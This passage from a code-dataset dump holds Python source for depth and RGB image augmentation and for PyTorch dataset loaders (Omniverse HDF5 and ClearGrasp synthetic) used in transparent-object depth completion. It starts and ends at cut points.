:]\n x_radius = np.round(x_radii[i]).astype(int)\n y_radius = np.round(y_radii[i]).astype(int)\n angle = angles[i]\n\n # get ellipse mask\n tmp_mask = np.zeros_like(dropout_mask)\n tmp_mask = cv2.ellipse(tmp_mask, tuple(center[::-1]), (x_radius, y_radius), angle=angle, startAngle=0, endAngle=360, color=1, thickness=-1)\n # update depth and corrupt mask\n dropout_mask[tmp_mask == 1] = 1\n\n return dropout_mask\n\ndef dropout_random_ellipses_4mask(valid_mask, noise_params):\n \"\"\" Randomly drop a few ellipses in the image for robustness.\n This is adapted from the DexNet 2.0 codebase.\n Their code: https://github.com/BerkeleyAutomation/gqcnn/blob/75040b552f6f7fb264c27d427b404756729b5e88/gqcnn/sgd_optimizer.py\n\n @param depth_img: a [H x W] set of depth z values\n \"\"\"\n dropout_valid_mask = valid_mask.copy()\n\n # Sample number of ellipses to dropout\n num_ellipses_to_dropout = np.random.poisson(noise_params['ellipse_dropout_mean'])\n\n # Sample ellipse centers\n nonzero_pixel_indices = np.array(np.where(dropout_valid_mask > 0)).T # Shape: [#nonzero_pixels x 2]\n dropout_centers_indices = np.random.choice(nonzero_pixel_indices.shape[0], size=num_ellipses_to_dropout)\n dropout_centers = nonzero_pixel_indices[dropout_centers_indices, :] # Shape: [num_ellipses_to_dropout x 2]\n\n # Sample ellipse radii and angles\n x_radii = np.random.gamma(noise_params['ellipse_gamma_shape'], noise_params['ellipse_gamma_scale'], size=num_ellipses_to_dropout)\n y_radii = np.random.gamma(noise_params['ellipse_gamma_shape'], noise_params['ellipse_gamma_scale'], size=num_ellipses_to_dropout)\n angles = np.random.randint(0, 360, size=num_ellipses_to_dropout)\n\n # Dropout ellipses\n for i in range(num_ellipses_to_dropout):\n center = dropout_centers[i, :]\n x_radius = np.round(x_radii[i]).astype(int)\n y_radius = np.round(y_radii[i]).astype(int)\n angle = angles[i]\n\n # get ellipse mask\n mask = np.zeros_like(dropout_valid_mask)\n mask = cv2.ellipse(mask, tuple(center[::-1]), (x_radius, y_radius), angle=angle, startAngle=0, endAngle=360, color=1, thickness=-1)\n # update depth and corrupt mask\n dropout_valid_mask[mask == 1] = 0\n\n return dropout_valid_mask\n\n\n\ndef add_noise_to_depth(depth_img, noise_params):\n \"\"\" Distort depth image with multiplicative gamma noise.\n This is adapted from the DexNet 2.0 codebase.\n Their code: https://github.com/BerkeleyAutomation/gqcnn/blob/75040b552f6f7fb264c27d427b404756729b5e88/gqcnn/sgd_optimizer.py\n\n @param depth_img: a [H x W] set of depth z values\n \"\"\"\n depth_img = depth_img.copy()\n\n # Multiplicative noise: Gamma random variable\n multiplicative_noise = np.random.gamma(noise_params['gamma_shape'], noise_params['gamma_scale'])\n depth_img = multiplicative_noise * depth_img\n\n return depth_img\n\ndef add_noise_to_xyz(xyz_img, depth_img, noise_params):\n \"\"\" Add (approximate) Gaussian Process noise to ordered point cloud.\n This is adapted from the DexNet 2.0 codebase.\n\n @param xyz_img: a [H x W x 3] ordered point cloud\n \"\"\"\n xyz_img = xyz_img.copy()\n\n H, W, C = xyz_img.shape\n\n # Additive noise: Gaussian process, approximated by zero-mean anisotropic Gaussian random variable,\n # which is rescaled with bicubic interpolation.\n small_H, small_W = (np.array([H, W]) / noise_params['gp_rescale_factor']).astype(int)\n additive_noise = np.random.normal(loc=0.0, scale=noise_params['gaussian_scale'], size=(small_H, small_W, C))\n additive_noise = cv2.resize(additive_noise, (W, H), interpolation=cv2.INTER_CUBIC)\n xyz_img[depth_img > 0, :] += additive_noise[depth_img > 0, :]\n\n return xyz_img\n\ndef dropout_random_ellipses(depth_img, noise_params):\n \"\"\" Randomly drop a few ellipses in the image for robustness.\n This is adapted from the DexNet 2.0 codebase.\n Their code: https://github.com/BerkeleyAutomation/gqcnn/blob/75040b552f6f7fb264c27d427b404756729b5e88/gqcnn/sgd_optimizer.py\n\n @param depth_img: a [H x W] set of depth z values\n \"\"\"\n if not noise_params['enable_ellipse']:\n return depth_img, np.zeros_like(depth_img).astype(np.uint8)\n depth_img = depth_img.copy()\n\n # Sample number of ellipses to dropout\n num_ellipses_to_dropout = np.random.poisson(noise_params['ellipse_dropout_mean'])\n\n # Sample ellipse centers\n nonzero_pixel_indices = np.array(np.where(depth_img > 0)).T # Shape: [#nonzero_pixels x 2]\n dropout_centers_indices = np.random.choice(nonzero_pixel_indices.shape[0], size=num_ellipses_to_dropout)\n dropout_centers = nonzero_pixel_indices[dropout_centers_indices, :] # Shape: [num_ellipses_to_dropout x 2]\n\n # Sample ellipse radii and angles\n x_radii = np.random.gamma(noise_params['ellipse_gamma_shape'], noise_params['ellipse_gamma_scale'], size=num_ellipses_to_dropout)\n y_radii = np.random.gamma(noise_params['ellipse_gamma_shape'], noise_params['ellipse_gamma_scale'], size=num_ellipses_to_dropout)\n angles = np.random.randint(0, 360, size=num_ellipses_to_dropout)\n\n corrupt_mask = np.zeros_like(depth_img).astype(np.uint8)\n # Dropout ellipses\n for i in range(num_ellipses_to_dropout):\n center = dropout_centers[i, :]\n x_radius = np.round(x_radii[i]).astype(int)\n y_radius = np.round(y_radii[i]).astype(int)\n angle = angles[i]\n\n # get ellipse mask\n mask = np.zeros_like(depth_img)\n mask = cv2.ellipse(mask, tuple(center[::-1]), (x_radius, y_radius), angle=angle, startAngle=0, endAngle=360, color=1, thickness=-1)\n # update depth and corrupt mask\n depth_img[mask == 1] = 0\n corrupt_mask[mask == 1] = 1\n\n return depth_img, corrupt_mask\n\ndef dropout_random_objects(depth_img, seg_img, noise_params):\n # init depth map and corruption mask \n depth_img = depth_img.copy()\n object_mask = np.zeros_like(depth_img).astype(np.uint8)\n # get rid of background\n obj_ids = np.unique(seg_img)\n # get rid of background\n if obj_ids[0] == 0:\n obj_ids = obj_ids[1:] \n # no objects in the scene, return original depth\n if obj_ids.shape[0] == 0:\n return depth_img, object_mask\n # get rid of table\n if obj_ids[0] == 1:\n obj_ids = obj_ids[1:]\n # no objects in the scene, return original depth\n if obj_ids.shape[0] == 0:\n return depth_img, object_mask\n # permute obj_ids in case duplicate examples\n obj_ids = np.random.permutation(obj_ids)\n if noise_params['enable_obj_remove']:\n depth_img, object_mask_remove, obj_ids = remove_object_depth(depth_img, seg_img, obj_ids, noise_params)\n object_mask = ((object_mask + object_mask_remove) > 0)\n if noise_params['enable_obj_swap']:\n depth_img, object_mask_swap, obj_ids = swap_object_depth(depth_img, seg_img, obj_ids, noise_params)\n object_mask = ((object_mask + object_mask_swap) > 0)\n \n return depth_img, object_mask\n\ndef remove_object_depth(depth_img, seg_img, obj_ids, noise_params):\n original_obj_ids = obj_ids.copy()\n # no objects in the scene, return original depth\n if obj_ids.shape[0] < 1:\n return depth_img, np.zeros_like(depth_img).astype(np.uint8), original_obj_ids\n ''' \n select a random object with pixel area larger than num_pixels_thre,\n if all objects are smaller than num_pixels_thre, select the largest obj\n ''' \n depth_min, depth_max = 0., np.amax(depth_img)\n additive_noise = np.random.normal(loc=0.0, scale=noise_params['gaussian_scale'])\n num_pixels, num_pixels_max = 0, 0\n object_mask = np.zeros_like(depth_img).astype(np.uint8)\n selected_obj_id = -1\n while True:\n # no objects in the scene: break\n if obj_ids.shape[0] == 0:\n break\n # select a random object\n index = np.random.choice(obj_ids.shape[0])\n obj_id = obj_ids[index]\n tmp_mask = (seg_img == obj_id).astype(np.uint8)\n num_pixels = np.count_nonzero(tmp_mask)\n if num_pixels > noise_params['num_pixels_thre']:\n object_mask = tmp_mask\n selected_obj_id = obj_id\n break\n if num_pixels > num_pixels_max:\n num_pixels_max = num_pixels\n object_mask = tmp_mask\n selected_obj_id = obj_id\n # remove selected obj_id from obj_ids to avoid duplicate selection\n obj_ids = np.delete(obj_ids, index)\n\n selected_obj_index = np.nonzero(original_obj_ids==selected_obj_id)[0]\n original_obj_ids = np.delete(original_obj_ids, selected_obj_index)\n if np.random.random() < noise_params['assign_prob']:\n depth_img[object_mask==1] = depth_min + additive_noise\n else:\n depth_img[object_mask==1] = depth_max + additive_noise\n\n return depth_img, object_mask, original_obj_ids\n\n\ndef swap_object_depth(depth_img, seg_img, obj_ids, noise_params):\n original_obj_ids = obj_ids.copy()\n # less than 2 objects in the scene, can't switch depth, return original depth\n if obj_ids.shape[0] < 2:\n return depth_img, np.zeros_like(depth_img).astype(np.uint8), original_obj_ids\n ''' \n select 2 random objects satisfying rel depth larger than depth threshold. \n If rel depth is smaller than depth threshold, return swap min depth and max depth of all objects\n ''' \n min_depth, max_depth = 1e5, -1\n min_mask, max_mask = None, None\n min_obj_id, max_obj_id = -1,-1\n for i in range(obj_ids.shape[0]):\n cur_obj_id = obj_ids[i]\n tmp_mask = (seg_img == cur_obj_id).astype(np.uint8)\n # num_pixels = np.count_nonzero(tmp_mask)\n # if num_pixels < num_pixels_thre:\n # continue\n mean_depth = np.mean(depth_img[tmp_mask==1]).copy()\n # update min and max depth\n if mean_depth < min_depth:\n min_depth = mean_depth\n min_mask = tmp_mask\n min_obj_id = cur_obj_id\n if mean_depth > max_depth:\n max_depth = mean_depth\n max_mask = tmp_mask\n max_obj_id = cur_obj_id\n # if rel depth larger than thre, early break\n if max_depth - min_depth > noise_params['rel_depth_thre']:\n break\n # if min_mask or max_mask does not exist, directly return\n if min_mask is None or max_mask is None:\n return depth_img, np.zeros_like(depth_img).astype(np.uint8), original_obj_ids\n # set depth of object with minimal mean depth to max depth\n depth_img[min_mask==1] = max_depth\n # set depth of object with maximal mean depth to min depth\n depth_img[max_mask==1] = min_depth\n object_mask = ((min_mask + max_mask) > 0)\n # delete min obj and max obj\n selected_obj_index = np.nonzero(original_obj_ids==min_obj_id)[0]\n original_obj_ids = np.delete(original_obj_ids, selected_obj_index)\n selected_obj_index = np.nonzero(original_obj_ids==max_obj_id)[0]\n original_obj_ids = np.delete(original_obj_ids, selected_obj_index)\n\n return depth_img, object_mask, original_obj_ids\n\n\n\n##### RGB Augmentations #####\n\ndef get_rgb_aug():\n seq = iaa.Sequential([\n # # Geometric Augs\n # iaa.Resize({\n # \"height\": config.train.imgHeight,\n # \"width\": config.train.imgWidth\n # }, interpolation='nearest'),\n # # iaa.Fliplr(0.5),\n # # iaa.Flipud(0.5),\n # # iaa.Rot90((0, 4)),\n\n # Bright Patches\n iaa.Sometimes(\n 0.1,\n iaa.BlendAlpha(factor=(0.2, 0.7),\n foreground=iaa.BlendAlphaSimplexNoise(foreground=iaa.Multiply((1.5, 3.0), per_channel=False),\n upscale_method='cubic',\n iterations=(1, 2)),\n name=\"simplex-blend\")),\n\n # Color Space Mods\n iaa.Sometimes(\n 0.3,\n iaa.OneOf([\n iaa.Add((20, 20), per_channel=0.7, name=\"add\"),\n iaa.Multiply((1.3, 1.3), per_channel=0.7, name=\"mul\"),\n iaa.WithColorspace(to_colorspace=iaa.CSPACE_HSV,\n from_colorspace=iaa.CSPACE_RGB,\n children=iaa.WithChannels(0, iaa.Add((-200, 200))),\n name=\"hue\"),\n iaa.WithColorspace(to_colorspace=iaa.CSPACE_HSV,\n from_colorspace=iaa.CSPACE_RGB,\n children=iaa.WithChannels(1, iaa.Add((-20, 20))),\n name=\"sat\"),\n iaa.LinearContrast((0.5, 1.5), per_channel=0.2, name=\"norm\"),\n # iaa.ContrastNormalization((0.5, 1.5), per_channel=0.2, name=\"norm\"),\n iaa.Grayscale(alpha=(0.0, 1.0), name=\"gray\"),\n ])),\n\n # Blur and Noise\n iaa.Sometimes(\n 0.2,\n iaa.SomeOf((1, None), [\n iaa.OneOf([iaa.MotionBlur(k=3, name=\"motion-blur\"),\n iaa.GaussianBlur(sigma=(0.5, 1.0), name=\"gaus-blur\")]),\n iaa.OneOf([\n iaa.AddElementwise((-5, 5), per_channel=0.5, name=\"add-element\"),\n iaa.MultiplyElementwise((0.95, 1.05), per_channel=0.5, name=\"mul-element\"),\n iaa.AdditiveGaussianNoise(scale=0.01 * 255, per_channel=0.5, name=\"guas-noise\"),\n iaa.AdditiveLaplaceNoise(scale=(0, 0.01 * 255), per_channel=True, name=\"lap-noise\"),\n iaa.Sometimes(1.0, iaa.Dropout(p=(0.003, 0.01), per_channel=0.5, name=\"dropout\")),\n ]),\n ],\n random_order=True)),\n\n # Colored Blocks\n iaa.Sometimes(0.2, iaa.CoarseDropout(0.02, size_px=(4, 16), per_channel=0.5, name=\"cdropout\")),\n ])\n return seq\n\ndef chromatic_transform(im, label=None, d_h=None, d_s=None, d_l=None):\n \"\"\"\n Given an image array, add the hue, saturation and luminosity to the image\n \"\"\"\n # Set random hue, luminosity and saturation which ranges from -0.1 to 0.1\n if d_h is None:\n d_h = (np.random.rand(1) - 0.5) * 0.1 * 180\n if d_l is None:\n d_l = (np.random.rand(1) - 0.5) * 0.2 * 256\n if d_s is None:\n d_s = (np.random.rand(1) - 0.5) * 0.2 * 256\n # Convert the BGR to HLS\n hls = cv2.cvtColor(im, cv2.COLOR_BGR2HLS)\n h, l, s = cv2.split(hls)\n # Add the values to the image H, L, S\n new_h = (h + d_h) % 180\n new_l = np.clip(l + d_l, 0, 255)\n new_s = np.clip(s + d_s, 0, 255)\n # Convert the HLS to BGR\n new_hls = cv2.merge((new_h, new_l, new_s)).astype('uint8')\n new_im = cv2.cvtColor(new_hls, cv2.COLOR_HLS2BGR)\n\n if label is not None:\n I = np.where(label > 0)\n new_im[I[0], I[1], :] = im[I[0], I[1], :]\n return new_im\n\n\ndef add_noise(image, level = 0.1):\n\n # random number\n r = np.random.rand(1)\n\n # gaussian noise\n if r < 0.9:\n row,col,ch= image.shape\n mean = 0\n noise_level = random.uniform(0, level)\n sigma = np.random.rand(1) * noise_level * 256\n gauss = sigma * np.random.randn(row,col) + mean\n gauss = np.repeat(gauss[:, :, np.newaxis], ch, axis=2)\n noisy = image + gauss\n noisy = np.clip(noisy, 0, 255)\n else:\n # motion blur\n sizes = [3, 5, 7, 9, 11, 15]\n size = sizes[int(np.random.randint(len(sizes), size=1))]\n kernel_motion_blur = np.zeros((size, size))\n if np.random.rand(1) < 0.5:\n kernel_motion_blur[int((size-1)/2), :] = np.ones(size)\n else:\n kernel_motion_blur[:, int((size-1)/2)] = np.ones(size)\n kernel_motion_blur = kernel_motion_blur / size\n noisy = cv2.filter2D(image, -1, kernel_motion_blur)\n\n return noisy.astype('uint8')\n\n\n\ndef standardize_image(image):\n \"\"\" Convert a numpy.ndarray [H x W x 3] of images to [0,1] range, and then standardizes\n\n @return: a [H x W x 3] numpy array of np.float32\n \"\"\"\n image_standardized = np.zeros_like(image).astype(np.float32)\n\n mean = constants.IMG_MEAN\n std = constants.IMG_NORM\n for i in range(3):\n image_standardized[...,i] = (image[...,i]/255. - mean[i]) / std[i]\n\n return image_standardized\n", "id": "4651565", "language": "Python", "matching_score": 4.3502068519592285, "max_stars_count": 34, "path": "src/utils/data_augmentation.py" }, { "content": "import os\r\nimport os.path as osp\r\nfrom glob import glob\r\nimport numpy as np\r\nimport cv2\r\nimport h5py\r\n\r\nimport torch\r\nfrom torch.utils.data import Dataset\r\n\r\n# My libraries\r\nimport utils.data_augmentation as data_augmentation\r\nimport constants\r\n\r\n\r\n\r\n\r\nclass Omniverse_Dataset(Dataset):\r\n def __init__(self, root_dir, exp_type, params):\r\n self.root_dir = root_dir\r\n self.exp_type = exp_type\r\n self.params = params\r\n\r\n h5_paths = sorted(glob(osp.join(self.root_dir, '*/*.h5')))\r\n idx = int(len(h5_paths)*self.params['split_ratio'])\r\n if self.exp_type == 'train':\r\n self.h5_paths = h5_paths[:idx]\r\n elif self.exp_type == 'valid':\r\n self.h5_paths = h5_paths[idx:]\r\n elif self.exp_type == 'test':\r\n self.h5_paths = h5_paths\r\n\r\n print('{} images for Omniverse {} dataset'.format(len(self.h5_paths), self.exp_type))\r\n\r\n\r\n def process_rgb(self, rgb_img):\r\n \"\"\" Process RGB image\r\n - random color warping\r\n \"\"\"\r\n if self.exp_type == 'train' and self.params['use_data_augmentation'] and np.random.random() > 0.2:\r\n rgb_img = data_augmentation.chromatic_transform(rgb_img)\r\n rgb_img = data_augmentation.add_noise(rgb_img)\r\n \r\n rgb_img = cv2.resize(rgb_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_LINEAR)\r\n # BGR to RGB\r\n rgb_img = cv2.cvtColor(rgb_img, cv2.COLOR_BGR2RGB)\r\n # normalize by mean and std\r\n rgb_img = data_augmentation.standardize_image(rgb_img)\r\n rgb_img = data_augmentation.array_to_tensor(rgb_img) # Shape: [3 x H x W]\r\n\r\n return rgb_img\r\n\r\n def process_depth(self, f, camera_params, corrupt_mask_float):\r\n disparity = f['depth'][:]\r\n depth_img = 1. / (disparity+1e-8) * 0.01\r\n depth_img = np.clip(depth_img, 0, 4)\r\n xyz_img = data_augmentation.compute_xyz(depth_img, camera_params)\r\n inp_depth_img = depth_img.copy()\r\n if self.exp_type == 'train' and self.params['depth_aug']:\r\n inp_depth_img = data_augmentation.add_noise_to_depth(inp_depth_img, self.params)\r\n inp_xyz_img = data_augmentation.compute_xyz(inp_depth_img, camera_params)\r\n if self.exp_type == 'train' and self.params['depth_aug']:\r\n inp_xyz_img = data_augmentation.add_noise_to_xyz(inp_xyz_img, inp_depth_img, self.params)\r\n\r\n depth_img = cv2.resize(depth_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n xyz_img = cv2.resize(xyz_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n inp_depth_img = cv2.resize(inp_depth_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n inp_xyz_img = cv2.resize(inp_xyz_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n # transform to tensor\r\n depth_img = torch.from_numpy(depth_img).unsqueeze(0).float()\r\n xyz_img = torch.from_numpy(xyz_img).permute(2, 0, 1).float()\r\n inp_depth_img = torch.from_numpy(inp_depth_img).unsqueeze(0).float()\r\n inp_xyz_img = torch.from_numpy(inp_xyz_img).permute(2, 0, 1).float()\r\n\r\n # get corrupt depth and xyz\r\n depth_corrupt_img = inp_depth_img * (1 - corrupt_mask_float)\r\n xyz_corrupt_img = inp_xyz_img * (1 - corrupt_mask_float)\r\n return depth_img, xyz_img, depth_corrupt_img, xyz_corrupt_img\r\n\r\n def get_corrupt_mask(self, instance_mask, semantic_mask, instance_num, corrupt_all=False, ratio_low=0.4, ratio_high=0.8):\r\n rng = np.random.default_rng()\r\n corrupt_mask = np.zeros((instance_mask.shape[0], instance_mask.shape[1]))\r\n if self.exp_type == 'train':\r\n if corrupt_all:\r\n corrupt_obj_num = instance_num\r\n corrupt_obj_ids = np.arange(instance_num)\r\n else:\r\n # randomly select corrupted objects number\r\n corrupt_obj_num = rng.choice(np.arange(1,instance_num+1), 1, replace=False)[0]\r\n # randomly select corrupted objects ids\r\n corrupt_obj_ids = rng.choice(instance_num, corrupt_obj_num, replace=False)\r\n for cur_obj_id in corrupt_obj_ids:\r\n cur_obj_id = cur_obj_id + 1\r\n nonzero_idx = np.transpose(np.nonzero(instance_mask==cur_obj_id))\r\n if nonzero_idx.shape[0] == 0:\r\n continue\r\n # transparent objects: select all pixels\r\n if semantic_mask[nonzero_idx[0,0],nonzero_idx[0,1]] == 2:\r\n sampled_nonzero_idx = nonzero_idx\r\n # opaque objects: select partial pixels.\r\n else:\r\n ratio = np.random.random() * (ratio_high - ratio_low) + ratio_low\r\n sample_num = int(nonzero_idx.shape[0] * ratio)\r\n sample_start_idx = rng.choice(nonzero_idx.shape[0]-sample_num, 1, replace=False)[0]\r\n sampled_nonzero_idx = nonzero_idx[sample_start_idx:sample_start_idx+sample_num]\r\n corrupt_mask[sampled_nonzero_idx[:,0],sampled_nonzero_idx[:,1]] = 1\r\n else:\r\n for cur_obj_id in range(instance_num):\r\n cur_obj_id += 1\r\n nonzero_idx = np.transpose(np.nonzero(instance_mask==cur_obj_id))\r\n if nonzero_idx.shape[0] == 0:\r\n continue\r\n # transparent objects: select all pixels\r\n if semantic_mask[nonzero_idx[0,0],nonzero_idx[0,1]] == 2:\r\n sampled_nonzero_idx = nonzero_idx\r\n # opaque objects: skip\r\n else:\r\n continue\r\n corrupt_mask[sampled_nonzero_idx[:,0],sampled_nonzero_idx[:,1]] = 1\r\n \r\n return corrupt_mask\r\n\r\n\r\n def get_cam_params(self, cam_dataset, img_size):\r\n # camera\r\n img_h, img_w = img_size\r\n cam_params = {}\r\n cam2world = cam_dataset['pose'][:].T\r\n cam2world[0:3,-1] *= 0.01\r\n cam_params['cam2world'] = cam2world\r\n cam_params['rot_mat'] = cam2world[0:3,0:3]\r\n focal_length = cam_dataset['focal_length'][:][0]\r\n horizontal_aperture = cam_dataset['horizontal_aperture'][:][0]\r\n vertical_aperture = cam_dataset['vertical_aperture'][:][0]\r\n cam_params['fx'] = focal_length / horizontal_aperture * img_w\r\n cam_params['fy'] = focal_length / vertical_aperture * img_h\r\n cam_params['cx'] = img_w // 2\r\n cam_params['cy'] = img_h // 2\r\n cam_params['xres'] = img_w\r\n cam_params['yres'] = img_h\r\n\r\n return cam_params\r\n\r\n def __getitem__(self, idx):\r\n\r\n f = h5py.File(self.h5_paths[idx], \"r\")\r\n\r\n # rgb\r\n rgb_img = f['rgb_glass'][:]\r\n # RGB to BGR, consistent with cv2\r\n rgb_img = cv2.cvtColor(rgb_img, cv2.COLOR_RGB2BGR)\r\n \r\n img_size = (rgb_img.shape[0], rgb_img.shape[1])\r\n # get image scale, (x_s, y_s)\r\n scale = (self.params['img_width'] / rgb_img.shape[1], self.params['img_height'] / rgb_img.shape[0])\r\n # RGB image processing\r\n rgb_img = self.process_rgb(rgb_img)\r\n\r\n # segmentation\r\n instance_seg = f['instance_seg'][:]\r\n instance_id = np.arange(1,instance_seg.shape[0]+1).reshape(-1,1,1)\r\n instance_mask = np.sum(instance_seg * instance_id,0).astype(np.uint8)\r\n instance_mask = cv2.resize(instance_mask, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n\r\n semantic_seg = f['semantic_seg'][:]\r\n semantic_id = np.arange(1,semantic_seg.shape[0]+1).reshape(-1,1,1)\r\n semantic_mask = np.sum(semantic_seg * semantic_id,0).astype(np.uint8)\r\n semantic_mask = cv2.resize(semantic_mask, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n\r\n corrupt_mask = self.get_corrupt_mask(instance_mask, semantic_mask, instance_seg.shape[0], corrupt_all=self.params['omni_corrupt_all'], ratio_low=0.3, ratio_high=0.7)\r\n corrupt_mask_float = torch.from_numpy(corrupt_mask).unsqueeze(0).float()\r\n corrupt_mask_label = torch.from_numpy(corrupt_mask.copy()).long()\r\n \r\n # load cam data before scaling\r\n camera_params = self.get_cam_params(f['camera'], img_size)\r\n \r\n # depth\r\n depth_img, xyz_img, \\\r\n depth_corrupt_img, xyz_corrupt_img = self.process_depth(f, camera_params, corrupt_mask_float)\r\n \r\n # valid mask\r\n valid_mask = 1 - corrupt_mask.copy()\r\n if self.exp_type == 'train' and self.params['use_data_augmentation'] and np.random.random() > 0.2:\r\n valid_mask = data_augmentation.dropout_random_ellipses_4mask(valid_mask, self.params)\r\n valid_mask_float = torch.from_numpy(valid_mask).unsqueeze(0).float()\r\n valid_mask_label = torch.from_numpy(valid_mask).long()\r\n\r\n if self.exp_type == 'train':\r\n if self.params['corrupt_table']:\r\n corrupt_mask = data_augmentation.dropout_random_ellipses_4corruptmask(corrupt_mask, self.params)\r\n # prepare corrupt mask\r\n corrupt_mask_float = torch.from_numpy(corrupt_mask).unsqueeze(0).float()\r\n corrupt_mask_label = torch.from_numpy(corrupt_mask).long()\r\n elif self.params['corrupt_all_pix']:\r\n new_corrupt_mask = np.ones_like(corrupt_mask)\r\n # prepare corrupt mask\r\n corrupt_mask_float = torch.from_numpy(new_corrupt_mask).unsqueeze(0).float()\r\n corrupt_mask_label = torch.from_numpy(new_corrupt_mask).long()\r\n\r\n # scale affect fx, fy, cx, cy\r\n camera_params['fx'] *= scale[0]\r\n camera_params['fy'] *= scale[1]\r\n camera_params['cx'] *= scale[0]\r\n camera_params['cy'] *= scale[1]\r\n\r\n item_path = self.h5_paths[idx]\r\n sample = {\r\n 'rgb': rgb_img,\r\n 'depth_corrupt': depth_corrupt_img,\r\n 'xyz_corrupt': xyz_corrupt_img,\r\n 'depth': depth_img,\r\n 'xyz' : xyz_img,\r\n 'corrupt_mask': corrupt_mask_float,\r\n 'corrupt_mask_label': corrupt_mask_label,\r\n 'valid_mask': valid_mask_float,\r\n 'valid_mask_label': valid_mask_label,\r\n 'fx': camera_params['fx'],\r\n 'fy': camera_params['fy'],\r\n 'cx': camera_params['cx'],\r\n 'cy': camera_params['cy'],\r\n 'cam_rot': camera_params['rot_mat'],\r\n 'item_path': item_path,\r\n }\r\n return sample\r\n\r\n\r\n def __len__(self):\r\n return len(self.h5_paths)\r\n\r\n\r\ndef get_dataset(root_dir, params, exp_type):\r\n # set params\r\n params = params.copy()\r\n if exp_type != 'train':\r\n params['use_data_augmentation'] = False\r\n \r\n if exp_type == 'train':\r\n dataset_dir = osp.join(root_dir, 'train')\r\n elif exp_type == 'valid':\r\n dataset_dir = osp.join(root_dir, 'train')\r\n elif exp_type == 'test':\r\n dataset_dir = osp.join(root_dir, 'small_test')\r\n\r\n dataset = Omniverse_Dataset(dataset_dir, exp_type, params)\r\n return dataset\r\n", "id": "8423306", "language": "Python", "matching_score": 6.049790382385254, "max_stars_count": 34, "path": "src/datasets/omniverse_dataset.py" }, { "content": "import os\r\nimport os.path as osp\r\nfrom glob import glob\r\nimport json\r\nimport numpy as np\r\nimport cv2\r\nfrom scipy.ndimage.measurements import label as connected_components\r\nfrom scipy.spatial.transform import Rotation as R\r\n\r\nimport torch\r\nfrom torch.utils.data import Dataset\r\n\r\n# My libraries\r\nimport utils.seg_utils as seg_utils\r\nimport utils.data_augmentation as data_augmentation\r\nimport constants\r\n\r\n\r\nclass ClearGrasp_Syn_Object_Dataset(Dataset):\r\n def __init__(self, dataset_subdir, exp_type, params):\r\n self.dataset_subdir = dataset_subdir\r\n self.exp_type = exp_type\r\n self.params = params\r\n\r\n image_paths, mask_paths, depth_paths, json_paths = self.list_dataset(self.dataset_subdir)\r\n idx = int(len(image_paths)*self.params['split_ratio'])\r\n if exp_type == 'train':\r\n self.image_paths = image_paths[:idx]\r\n self.mask_paths = mask_paths[:idx]\r\n self.depth_paths = depth_paths[:idx]\r\n self.json_paths = json_paths[:idx]\r\n elif exp_type in ['valid','test']:\r\n self.image_paths = image_paths\r\n self.mask_paths = mask_paths\r\n self.depth_paths = depth_paths\r\n self.json_paths = json_paths\r\n\r\n print('{} images for cleargrasp synthetic dataset'.format(len(self.image_paths)))\r\n\r\n\r\n def list_dataset(self, data_path):\r\n image_paths = []\r\n mask_paths = []\r\n depth_paths = []\r\n json_paths = []\r\n for i in range(len(data_path)):\r\n # collect transparent rgb, mask, depth paths\r\n cur_img_paths = sorted( glob(osp.join(data_path[i], '*', 'rgb-imgs', '*-rgb.jpg')) )\r\n cur_mask_paths = [p.replace('rgb-imgs', 'segmentation-masks').replace('-rgb.jpg', '-segmentation-mask.png') for p in cur_img_paths]\r\n cur_depth_paths = [p.replace('rgb-imgs', 'depth-imgs-rectified').replace('-rgb.jpg', '-depth-rectified.exr') for p in cur_img_paths]\r\n cur_json_paths = [p.replace('rgb-imgs', 'json-files').replace('-rgb.jpg', '-masks.json') for p in cur_img_paths]\r\n image_paths += cur_img_paths\r\n mask_paths += cur_mask_paths\r\n depth_paths += cur_depth_paths\r\n json_paths += cur_json_paths\r\n\r\n return image_paths, mask_paths, depth_paths, json_paths\r\n\r\n def process_rgb(self, rgb_img):\r\n \"\"\" Process RGB image\r\n - random color warping\r\n \"\"\"\r\n if self.exp_type == 'train' and self.params['use_data_augmentation'] and np.random.random() > 0.2:\r\n rgb_img = data_augmentation.chromatic_transform(rgb_img)\r\n rgb_img = data_augmentation.add_noise(rgb_img)\r\n\r\n rgb_img = cv2.resize(rgb_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_LINEAR)\r\n # BGR to RGB\r\n rgb_img = cv2.cvtColor(rgb_img, cv2.COLOR_BGR2RGB)\r\n # normalize by mean and std\r\n rgb_img = data_augmentation.standardize_image(rgb_img)\r\n rgb_img = data_augmentation.array_to_tensor(rgb_img) # Shape: [3 x H x W]\r\n\r\n return rgb_img\r\n\r\n def process_depth(self, depth_filename, camera_params, corrupt_mask_float):\r\n depth_img = data_augmentation.exr_loader(depth_filename, 1)\r\n xyz_img = data_augmentation.compute_xyz(depth_img, camera_params)\r\n inp_depth_img = depth_img.copy()\r\n if self.exp_type == 'train' and self.params['depth_aug']:\r\n inp_depth_img = data_augmentation.add_noise_to_depth(inp_depth_img, self.params)\r\n inp_xyz_img = data_augmentation.compute_xyz(inp_depth_img, camera_params)\r\n if self.exp_type == 'train' and self.params['depth_aug']:\r\n inp_xyz_img = data_augmentation.add_noise_to_xyz(inp_xyz_img, inp_depth_img, self.params)\r\n depth_img = cv2.resize(depth_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n xyz_img = cv2.resize(xyz_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n inp_depth_img = cv2.resize(inp_depth_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n inp_xyz_img = cv2.resize(inp_xyz_img, (self.params['img_width'], self.params['img_height']), interpolation=cv2.INTER_NEAREST)\r\n # transform to tensor\r\n depth_img = torch.from_numpy(depth_img).unsqueeze(0).float()\r\n xyz_img = torch.from_numpy(xyz_img).permute(2, 0, 1).float()\r\n inp_depth_img = torch.from_numpy(inp_depth_img).unsqueeze(0).float()\r\n 